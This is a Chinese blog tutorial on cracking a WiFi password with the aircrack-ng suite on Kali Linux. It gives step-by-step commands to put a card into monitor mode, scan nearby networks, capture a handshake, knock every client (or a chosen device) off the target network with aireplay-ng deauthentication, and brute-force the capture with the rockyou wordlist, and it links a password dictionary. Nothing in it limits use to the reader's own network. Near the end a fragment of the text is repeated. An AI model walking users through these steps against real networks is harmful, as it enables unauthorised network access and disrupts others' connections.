kali爆破WiFi

最新推荐文章于 2024-08-30 01:53:57 发布

徐六子

最新推荐文章于 2024-08-30 01:53:57 发布

阅读量6.1k

点赞数 6

分类专栏： kali shell 文章标签： linux shell wifi

本文链接：https://blog.csdn.net/qq_45435398/article/details/115461703

版权

kali 同时被 2 个专栏收录

1 篇文章 1 订阅

订阅专栏

shell

1 篇文章 0 订阅

订阅专栏

本文详细介绍了如何在Kali Linux环境下，利用aircrack-ng工具套件进行WiFi密码的暴力破解。首先确保无线网卡在Linux下工作正常，然后开启监听模式，扫描并选定目标WiFi。接着，通过aireplay-ng命令断开目标WiFi的连接，捕获数据包。最后，使用密码字典进行暴力破解，并等待结果。过程中需要注意不同命令的正确使用和可能遇到的问题解决方法。

摘要由CSDN通过智能技术生成

kali暴力破解WiFi密码实验步骤

建议在kali的root模式下进行

实验条件：

window7下的VMware装的kali 2020
某宝买的无线网卡，注意，有些厂家的网卡不支持Linux系统，所以在买网卡时，最好先询问一下
在官网下载的驱动，解压之后直接运行install.sh，我在安装时，有报错误的，但是影响不大，我是直接关机重启虚拟机就好了，可直接查看iwconfig,如果出现wlan0则表示，驱动安装成功
查看无线网卡

指令airmon-ng
在这里插入图片描述
2. 开启监听模式

命令 airmon-ng start wlan0
在这里插入图片描述

说明：有些开启监听模式时，查看iwconfig,网卡名字wlan0会变成wlan0mon,我的电脑则不变，只要出现上述enable说明已经开启，如若变成网卡名字变成wlan0mon，以下操作将用wlan0mon，视自己情况而定

如果监听不能打开，执行命令：airmon-ng check kill,之后重新运行监听命令

扫描附近WiFi

命令：
```
airodump-ng wlan0
```

在这里插入图片描述

BSSID 是MAC地址

PWR 信号强度，越小越好 –

CH WiFi占用的通道号

ENC WiFi的加密方式wlan

ESSID表示WIFI名字

选取好目标WiFi，按下Ctrl+c

对目标WiFi的捕获

airodump-ng -c 1 --bssid B0:95:8E:16:A0:CF wlan0 -w 675
 #格式 -c 选择通道号 --bssid WiFi的mac地址 wlan0网卡，捕获的带有密码的数据包存放名称
#或者
airodump-ng --bssid B0:95:8E:16:A0:CF -c 1 wlan0 -w 675

在这里插入图片描述

断网获取带有密码的数据包

当查看到有客户连接到目标WiFi，我们是没法获带有密码的数据包，需要将该WiFi下的设备进行踢下线（也可将某一个设备进行踢下线），设备断网之后会重新登录，可以自动捕获到带有密码的数据包

新开一个终端，输入如下命令

aireplay-ng -0 10 -a B0:95:8E:16:A0:CF wlan0 #将所有用户踢下线
aireplay-ng -0 10 -a B0:95:8E:16:A0:CF -c (某设备的mac地址) wlan0  #踢出某个用户设备

在这里插入图片描述

在捕获WiFi终端中，会出现以下信息代表信息捕捉到
在这里插入图片描述

此时，使用命令：ls
在这里插入图片描述

上图箭头指向是我们需要的数据包，*.cap格式。使用最近的一次数据包

爆破密码

打开主文件夹，新建文件夹WiFi，将675-03.cap以及密码字典复制到WiFi文件夹

在WiFi文件夹下打开终端
```
aircrack-ng -w 1pass01.txt 675-03.cap
```

在这里插入图片描述

kali自带一个字典库

#rockyou需要进行解压，位于/usr/share/wordlists/ 
#解压命令如下
gzip -d /usr/share/wordlists/rockyou.txt.gz
#爆破命令
aircrack-ng -w /usr/share/wordlists/rockyou.txt 675-03.cap

之后就是漫长的等待，流程是这样，

附带命令：

#停止监听命令
airmon-ng stop wlan0

ckyou.txt 675-03.cap


之后就是漫长的等待，流程是这样，

附带命令：

```powershell
#停止监听命令
airmon-ng stop wlan0

后附密码字典，需要自收
https://download.csdn.net/download/qq_45435398/16490945
密码字典 https://download.csdn.net/download/qq_45435398/16490945